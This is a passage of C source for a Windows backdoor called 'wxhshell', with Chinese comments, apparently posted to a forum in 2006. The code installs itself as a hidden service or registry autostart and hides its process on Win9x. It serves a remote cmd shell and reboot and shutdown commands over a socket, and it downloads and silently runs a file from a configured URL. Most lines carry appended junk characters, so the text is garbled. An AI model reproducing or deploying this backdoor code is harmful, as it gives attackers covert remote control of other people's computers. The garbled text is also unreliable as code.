  else XdmpfUR,13  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P*B @it  
  } %t$KVV  
  else { IN@o9pUjV  
h-|IZ}F7  
    switch(cmd[0]) { v%c/eAF  
  7M _ mR Vh  
  // 帮助 zRd.!Rv  
  case '?': { R?;mu^B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "G~!J\  
    break; pKpB  
  } "O-X*>?f  
  // 安装 EADN   
  case 'i': { #t;]s<  
    if(Install()) xMNQT.A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O9zMD8  
    else Dn@ZS_f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !H@HgJ -  
    break; =+UtA f<n  
    } `"}).{N]C  
  // 卸载 uY(8KW  
  case 'r': { @87Y/_l  
    if(Uninstall()) W!R0:-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :<bhQY  
    else |O6/p7+.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M)!"R [V  
    break; $./aK J1B  
    } 9r+'DX?>  
  // 显示 wxhshell 所在路径 Ww60-d}}Q  
  case 'p': { (sQXfeMz  
    char svExeFile[MAX_PATH]; DQ3 L=  
    strcpy(svExeFile,"\n\r"); PVH Or^  
      strcat(svExeFile,ExeFile); ^"p . 3Hy  
        send(wsh,svExeFile,strlen(svExeFile),0); zwU[!i)  
    break; Tg"? TZO~  
    } @MVul_@6  
  // 重启 N&p0Emg  
  case 'b': { (&Jo. <  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (CRx'R  
    if(Boot(REBOOT)) Bm,Vu 1]t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $OdBuJA  
    else { 'tw ]jMD  
    closesocket(wsh); wggB^ }~  
    ExitThread(0); 6pSTw\/6  
    } 49M1^nMvoo  
    break; 9Q}g Vqn  
    } I<CrEL<5}~  
  // 关机 qPD(D{,f$  
  case 'd': { qbD 7\%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EpNN!s=Q  
    if(Boot(SHUTDOWN)) 14 ,t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i0$*):b  
    else { q`/J2r+O  
    closesocket(wsh); +B1&bOb  
    ExitThread(0); .4R.$`z4  
    } P{UV3ZA%  
    break; ZIa,pON  
    } MTCfs~}m  
  // 获取shell tB"9%4](  
  case 's': { z`t~N  
    CmdShell(wsh); NJ.oME@=  
    closesocket(wsh); >h\u[I$7  
    ExitThread(0); Lo_+W1+  
    break; fn,hP_  
  } !hZ: \&V  
  // 退出 ,lA @C2 c  
  case 'x': { OqIXFX"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5N $XY@  
    CloseIt(wsh); aIFlNS,y  
    break; ih/E,B"  
    } o ?vGI=  
  // 离开 Q17dcgd  
  case 'q': {  |@'O3KA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0y,w\'j  
    closesocket(wsh); 5 | ,b  
    WSACleanup(); I/tMFg  
    exit(1); ap )B%9  
    break; Uzzm2OS`  
        } s$>n U  
  } c/tB_]  
  } Znb7OF^#"  
jhf3(hx&F  
  // 提示信息 QHZ",1F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xmcZN3 ){+  
} vio>P-2Eho  
  } f\dfKNm6  
zaHZ5%{LQD  
  return; 7$lnCvm  
} Jg[Ao#,==  
=/46;844T  
// shell模块句柄 vuPNru" 2  
int CmdShell(SOCKET sock) W6i{ yne W  
{ C h>F11kC  
STARTUPINFO si; wxo  
ZeroMemory(&si,sizeof(si)); 2=Naq Ht(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ) yMrE T m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iO5g30l  
PROCESS_INFORMATION ProcessInfo; aim\ 3y~  
char cmdline[]="cmd"; 8]&:'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T8z?_ *k  
  return 0; }Cu[x'J  
} WM ?a1j  
Pn OWQ8=  
// 自身启动模式 `L`+`B  
int StartFromService(void) &;d N:F;  
{ gx9Os2Z|3  
typedef struct :}v-+eIQ  
{ ;C$+8%P4  
  DWORD ExitStatus; i>YQ<A1  
  DWORD PebBaseAddress; K#wA ;  
  DWORD AffinityMask; }psRgF  
  DWORD BasePriority; e9KD mX_  
  ULONG UniqueProcessId; YP_L~zZ  
  ULONG InheritedFromUniqueProcessId; X%5eZ"1{x  
}   PROCESS_BASIC_INFORMATION; H/*ol^X7  
Tl2t\z+ps  
PROCNTQSIP NtQueryInformationProcess; )/::i O&$:  
j %gd:-tA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +,>%Yb =EA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F,p0OL.  
lfc&#G i3  
  HANDLE             hProcess; w7?fJ")  
  PROCESS_BASIC_INFORMATION pbi; $C\ETQ@  
qXW\/NT"p<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pVy=rS-  
  if(NULL == hInst ) return 0; 0wv#AT  
1}DA| !~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m g'q-G`\<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1W{N6+u  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); El<*)  
=9a2+v0  
  if (!NtQueryInformationProcess) return 0; ):! =XhQ  
R}Lk$#S#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >J:=)1`  
  if(!hProcess) return 0; 4Lt9Dx1  
1^WGJ"1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f*X CWr  
S"Cz. bv  
  CloseHandle(hProcess); {g%N(2  
BUBx}dbCM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eTS}-  
if(hProcess==NULL) return 0; }R['Zoh4I  
[v"Z2F<.=  
HMODULE hMod; `3rwqcxA  
char procName[255]; Wgls+<l8  
unsigned long cbNeeded; ljNwt  
! dzgi:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c}o 6Rm50  
"17)`Yf  
  CloseHandle(hProcess); f)/Z7*Z  
OT])t<TF6  
if(strstr(procName,"services")) return 1; // 以服务启动 +{I_%SsG  
!'jq.RawP  
  return 0; // 注册表启动 ^U_T<x8{  
} !,[#,oy;  
yXR1 NYg  
// 主模块 `Y?VQ~ci>  
int StartWxhshell(LPSTR lpCmdLine) K.)!qkW-%S  
{ >S +}  
  SOCKET wsl; ^ F]hW  
BOOL val=TRUE; .*zS2 z  
  int port=0; sxREk99lL  
  struct sockaddr_in door; k5S;G"i J  
2!/Kt O)i^  
  if(wscfg.ws_autoins) Install(); wGArR7r  
LlQsc{ Ddf  
port=atoi(lpCmdLine); 6L<:>55  
3^o(\=-JX  
if(port<=0) port=wscfg.ws_port; k6Kc{kY  
fc9;ZX7  
  WSADATA data; Ap dXsL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R{#< NE  
l$;"yVdks  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9*)&hhBs,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6Xvpk1  
  door.sin_family = AF_INET; ]<f)Rf">:`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a$My6Qa#  
  door.sin_port = htons(port); bBjr hi  
A>@#eyB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d/7fJ8y8  
closesocket(wsl); MgJ6{xzz  
return 1; 7=l~fKu  
} \]tBwa  
@k?vbq  
  if(listen(wsl,2) == INVALID_SOCKET) { QHk\Z  
closesocket(wsl); Dl;hOHvKk  
return 1; P>7Xbm,VP  
} _gT65G~z  
  Wxhshell(wsl); '$tCAS  
  WSACleanup(); /Y7^!3uM  
<&5z0rDKWw  
return 0; -N45ni87  
}@r23g%   
} DB'0  
hw DxGiU  
// 以NT服务方式启动 fq7#rZCxX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "Oxr}^% i  
{ hLO)-ueb  
DWORD   status = 0; yE$PLM  
  DWORD   specificError = 0xfffffff; R}&?9tVRR  
:;k?/KU7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; PF{uaKWk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; H5K Fm#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \QvGkcDc{  
  serviceStatus.dwWin32ExitCode     = 0; boo361L  
  serviceStatus.dwServiceSpecificExitCode = 0; )pWgt5:7~  
  serviceStatus.dwCheckPoint       = 0; oB:7R^a  
  serviceStatus.dwWaitHint       = 0; 1V%tev9a  
jRK}H*uem  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U%q)T61  
  if (hServiceStatusHandle==0) return; KYFKH+d>m  
V"/.An|  
status = GetLastError(); xVx s~p1  
  if (status!=NO_ERROR) -c`xeuzK'  
{ w 3t,S3!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mrTf[ "K  
    serviceStatus.dwCheckPoint       = 0; Ni_H1G  
    serviceStatus.dwWaitHint       = 0; @ st>#]i4  
    serviceStatus.dwWin32ExitCode     = status; BhJ>G%  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;wv[';J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )@g[aRFa  
    return; &`^(dO9  
  } =^9h z3 j  
-^@FZ R^Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y 6a`{'  
  serviceStatus.dwCheckPoint       = 0; MP%#)O6  
  serviceStatus.dwWaitHint       = 0; xWLvx'8W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uzd7v,  
} PucNu8   
QK-aH1r  
// 处理NT服务事件,比如:启动、停止 W5|{A])N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %BI8m|6  
{ P3oYk_oW  
switch(fdwControl) &[ })FI  
{ D;,p?]mgO~  
case SERVICE_CONTROL_STOP: `Skvqo(5:  
  serviceStatus.dwWin32ExitCode = 0; )PYPlSQ*V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y,D9O/VP  
  serviceStatus.dwCheckPoint   = 0; U2VEFm6  
  serviceStatus.dwWaitHint     = 0; (m/:B= K  
  { JX59n%$@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K9<8FSn  
  } )UR$VL  
  return; VUP|j/qD  
case SERVICE_CONTROL_PAUSE: mb\T)rj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Rk$7jZdTf  
  break; |~9rak,  
case SERVICE_CONTROL_CONTINUE: M Kyj<@[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \8{SQ%  
  break; lu#a.41  
case SERVICE_CONTROL_INTERROGATE: }z]d]  
  break; UF9={fN1  
}; M\1CDU+*Ns  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g\aO::  
} +ai3   
N.|F8b]v  
// 标准应用程序主函数 T8 FW(Gw#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _}{KS, f]0  
{ l6'KIg  
1mFH7A($  
// 获取操作系统版本 '(]Wtx%9"  
OsIsNt=GetOsVer(); Wv4$Lgr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (:iMs) iO{  
2[lP,;!  
  // 从命令行安装 }?m0bM  
  if(strpbrk(lpCmdLine,"iI")) Install(); rZI63S  
g@H<Q('fJ  
  // 下载执行文件 @rhS[^1wi+  
if(wscfg.ws_downexe) { 1jC85^1Taq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OTy!Q,0$.  
  WinExec(wscfg.ws_filenam,SW_HIDE); zw<<st Bp  
} uP9b^LEoN  
2CC"Z  
if(!OsIsNt) { rJ /HIda  
// 如果时win9x,隐藏进程并且设置为注册表启动 o$ @/@r  
HideProc(); `I7s|9-=  
StartWxhshell(lpCmdLine); ]}`t~#Irz  
} -jjB2xP  
else MTYV~S4/  
  if(StartFromService()) 9SC1A-nF  
  // 以服务方式启动 d V%o:@Z  
  StartServiceCtrlDispatcher(DispatchTable); }s2CND  
else /JNG}*  
  // 普通方式启动 W6?=9].gc  
  StartWxhshell(lpCmdLine); |gkNhxzB  
<:-4GJH=  
return 0; zC*FeqFL<  
}
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只看该作者 1 发表于: 2006-10-10
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